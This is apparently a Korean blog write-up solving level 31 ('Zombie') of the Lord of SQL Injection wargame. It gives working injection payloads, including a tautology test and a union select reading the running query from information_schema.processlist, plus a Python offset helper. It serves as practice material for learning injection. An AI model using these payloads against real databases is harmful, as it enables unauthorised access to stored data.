WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 31 - Zombie

으어어어어어ㅓ어엉ㅇ..ㅓㅓㅓㅓㅓ.....어어어ㅓㅓㅓㅓ...ㅓㅓ ㅋ........ㅗ....ㄷ.........ㅡ..ㄹ.....ㅡ...ㄹ.....ㅂ..........ㅈ.......ㅏ......

<출처 : 마인크래프트 위키 https://minecraft.fandom.com/wiki/Zombie >


코드

이번시간에는 저번과 비슷한데, rollup, join, ace가 금지되어있다. 역시 정확한 PW가 필요하다.  ace.... 아마 REPL"ace"를 금지하겠다는 거니까 QUINE은 사용치 못하겠다.

* 참 저번시간 이야기하지 않았는데, rollup은 group by와 같이 사용되는 함수로 그룹별 결과뿐만이 아니라 집계까지 보여준다.

 

혹시나???

try1 : ?pw=' or 1=1-- ;

 

역시 테이블이 텅 비어있다. 으으응어어ㅓ어어어어어ㅜㅡㅊ어어엉........해......ㄱ...ㅕ..ㄹ.......ㅂ.....ㅏㅇ......버......ㅂ......


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=%27%20union%20select%20substr(info,38,72)%20from%20information_schema.processlist--%20

 

Database에는 MetaData에 대한 내용을 역시 테이블로 가지고 있다. 특히 우리가 lord of sql injection에서 사용하는 MySQL은 이러한 메타정보를 묶어 하나의 DataBase로 만들었는데, 이 친구 이름이"INFORMATION_SCHEMA"이다.

 

아래는 MySQL의 공식 홈페이지에서 나온 Documentation이니 한 번씩 읽어 보기를 바란다. 

dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/

 

MySQL :: MySQL Information Schema

The world's most popular open source database

dev.mysql.com

아무튼 이번에 우리의 문제를 위해서 사용할 테이블은 Information_schema의 processist라는 테이블이다.

 

이 Table은 서버를 통해 동작하고 있는 스레드의(쿼리다 여기선) 정보를 가진다. 따라서 우리가 파라미터를 입력 하서 php코드를 통한  쿼리도 이 processlist의 INFO라는 칼럼에 존재하게 되고, 이를 이용해서 pw값으로 준부분만 substr 하면 입력과 같은 반환을 다시 만들 수 있을 것이다. 위치 파악을 위해서 아래의 python코드가 사용되었다.

### get_location_losi_zombie.py ###

### substr()함수에 사용될 위치를 파악하는 함수이다. ###
def get_dbsubstr_offset(target,string) :

    index = string.find(target)
    if(index == -1) :
        return (-1,-1)
    return (index+1, len(target)+1)

### 지금은 어디를 잘라야될지 모르니까 두자리라고 예상하고 XX를 썻다. ###
if __name__=="__main__" :
    target = "' union select substr(info,XX,XX) from information_schema.processlist--"
    string = "select pw from prob_zombie where pw='' union select substr(info,XX,XX) from information_schema.processlist-- '"

    print("You can use location",get_dbsubstr_offset(target,string))

출력되는 위치는 38,72이다. 축하한다. 


이번 시간에 드디어 DATABASE의 메타 정보를 읽어와 보았다. 메타정보가 담고 있는 정보가 워낙 중요한 건 사실이고, 공격에 많이 사용되는 것이 사실이다. 꼭 위의 공식 Document는 한 번씩 읽어 보기를 바란.......으ㅡㅡㅡ.......어......